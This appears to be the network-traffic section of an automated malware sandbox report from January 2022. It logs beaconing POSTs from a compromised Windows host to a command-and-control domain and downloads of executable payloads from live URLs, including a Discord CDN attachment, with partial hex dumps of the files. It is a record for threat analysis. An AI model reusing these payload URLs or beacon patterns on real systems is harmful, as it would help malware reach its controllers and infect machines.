68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
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Session ID Source IP Source Port Destination IP Destination Port Process

62 192.168.2.5 49889 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:23:06.567203999 CET

14161 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://rwvxpxpa.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 192
Host: host-data-coin-11.com

Jan 14, 2022 
12:23:06.692605019 CET

14162 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:23:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

63 192.168.2.5 49890 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:23:06.737967014 CET

14162 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://pfclfub.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 126
Host: host-data-coin-11.com

Jan 14, 2022 
12:23:06.870201111 CET

14163 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:23:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

64 192.168.2.5 49891 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:23:06.915174961 CET

14164 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://vxvcbaeist.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 125
Host: host-data-coin-11.com

Jan 14, 2022 
12:23:07.037117004 CET

14164 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:23:07 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b 
db 76 f8 43 4e c7 3d c2 ec 66 b5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 30I:82OTevCN=fdP0

Session ID Source IP Source Port Destination IP Destination Port Process

65 192.168.2.5 49898 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:23:12.820595026 CET

17844 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://mjgysxwru.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 357
Host: host-data-coin-11.com
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Jan 14, 2022 
12:23:12.939532995 CET

17845 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:23:12 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

66 192.168.2.5 49899 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:23:13.036334991 CET

17846 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://pyrbcmnp.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 281
Host: host-data-coin-11.com

Jan 14, 2022 
12:23:13.160804987 CET

17847 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:23:13 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 
93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 
0d 0a 0d 0a 
Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0

Session ID Source IP Source Port Destination IP Destination Port Process

67 192.168.2.5 49902 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:23:13.280467987 CET

17853 OUT GET /files/6961_1642089187_2359.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: data-host-coin-8.com
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Jan 14, 2022 
12:23:13.382776022 CET

17855 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:23:13 GMT
Content-Type: application/x-msdos-program
Content-Length: 905216
Connection: close
Last-Modified: Thu, 13 Jan 2022 15:53:07 GMT
ETag: "dd000-5d578aeb4049d"
Accept-Ranges: bytes
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 
49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce 
ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 
01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 
00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 
02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 
00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 
00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 
00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 
00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 c7 01 00 32 41 00 e9 09 11 00 00 56 8b f1 c7 06 00 32 41 00 e8 fb 10 00 00 f6 44 24 08 01 74 07 56 
e8 88 14 00 00 59 8b c6 5e c2 04 00 55 8b ec ff 75 14 ff 75 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$gqIvhExfcRichPEL[_ 200@P|qXf(p 1@Y@0.text  `.rdata"?
0@$@@.data8pd@.rsrc np@@2AV2AD$tVY^Uuu

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

68 192.168.2.5 49904 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

69 192.168.2.5 49905 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.2.5 49763 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:06.564152002 CET

1394 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://beeqejbul.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 360
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:06.702472925 CET

1395 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

70 192.168.2.5 49906 8.209.70.0 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

71 192.168.2.5 49907 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

72 192.168.2.5 49908 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

73 192.168.2.5 49909 81.163.30.181 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

74 192.168.2.5 49911 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

75 192.168.2.5 49912 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

76 192.168.2.5 49913 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

77 192.168.2.5 49914 81.163.30.181 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

78 192.168.2.5 49917 81.163.30.181 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.2.5 49764 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data
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Jan 14, 2022 
12:22:07.058538914 CET

1396 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://myagktjwng.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 133
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:07.180908918 CET

1397 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:07 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.2.5 49765 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:07.234240055 CET

1398 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://kfstsnyyg.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 199
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:07.351643085 CET

1399 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:07 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.5 49780 185.233.81.115 443 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

2022-01-14 11:22:15 UTC 0 OUT GET /32739433.dat?iddqd=1 HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: 185.233.81.115

HTTPS Proxied Packets
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2022-01-14 11:22:15 UTC 0 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:15 GMT
Content-Type: text/html
Content-Length: 153
Connection: close

2022-01-14 11:22:15 UTC 0 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 
6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 
78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx/1.20.1</center></body></html>

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.5 49799 162.159.130.233 443 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

2022-01-14 11:22:26 UTC 0 OUT GET /attachments/903666793514672200/930134152861343815/Nidifying.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: cdn.discordapp.com

2022-01-14 11:22:26 UTC 0 IN HTTP/1.1 200 OK
Date: Fri, 14 Jan 2022 11:22:26 GMT
Content-Type: application/x-msdos-program
Content-Length: 537088
Connection: close
CF-Ray: 6cd67c8b38464aa4-FRA
Accept-Ranges: bytes
Age: 327390
Cache-Control: public, max-age=31536000
Content-Disposition: attachment;%20filename=Nidifying.exe
ETag: "d7df01d8158bfaddc8ba48390e52f355"
Expires: Sat, 14 Jan 2023 11:22:26 GMT
Last-Modified: Mon, 10 Jan 2022 16:21:03 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1641831663140006
x-goog-hash: crc32c=9zjujw==
x-goog-hash: md5=198B2BWL+t3Iukg5DlLzVQ==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 537088
X-GUploader-UploadID: ADPycdtAUXQOPbnIyWc7HwHE6Jjoo94_slb40xzLLQFjYJIeziMw89M1kSl2_68qrqD8x5Zob-f_Zo
OlPr3MafIQeS5oJXYR_w
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

2022-01-14 11:22:26 UTC 1 IN Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 
70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 
3d 25 32 42 59 25 32 46 77 42 72 6b 66 25 32 42 6f 57 56 25 32 46 25 32 42 4c 25 32 46 5a 69 44 44 76 48 4b 63 63 47 
25 32 46 39 6c 76 32 4b 25 32 42 72 61 65 42 6b 72 76 44 62 66 5a 34 53 7a 73 48 74 71 78 4b 62 31 4d 69 64 36 25 32 
42 34 65 6e 25 32 42 4c 6f 72 31 67 45 45 54 56 64 71 46 50 48 36 62 43 48 56 75 54 4a 66 44 65 73 77 64 72 39 73 6e 
77 62 58 62 33 62 78 6e 33 25 32 46 73 79 4e 37 77 35 31 59 67 51 52 48 33 67 35 62 39 4d 74 56 41 35 6d 70 62 53 35 
77 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 
Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BY%2FwBrkf%2BoWV%2
F%2BL%2FZiDDvHKccG%2F9lv2K%2BraeBkrvDbfZ4SzsHtqxKb1Mid6%2B4en%2BLor1gEETVdqFPH6bCHVuTJfDes
wdr9snwbXb3bxn3%2FsyN7w51YgQRH3g5b9MtVA5mpbS5w%3D%3D"}],"group":"cf

2022-01-14 11:22:26 UTC 2 IN Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3f 79 2a a2 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 
30 00 00 2a 08 00 00 06 00 00 00 00 00 00 ae 49 08 00 00 20 00 00 00 60 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04 
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL?y*0*I `@ @

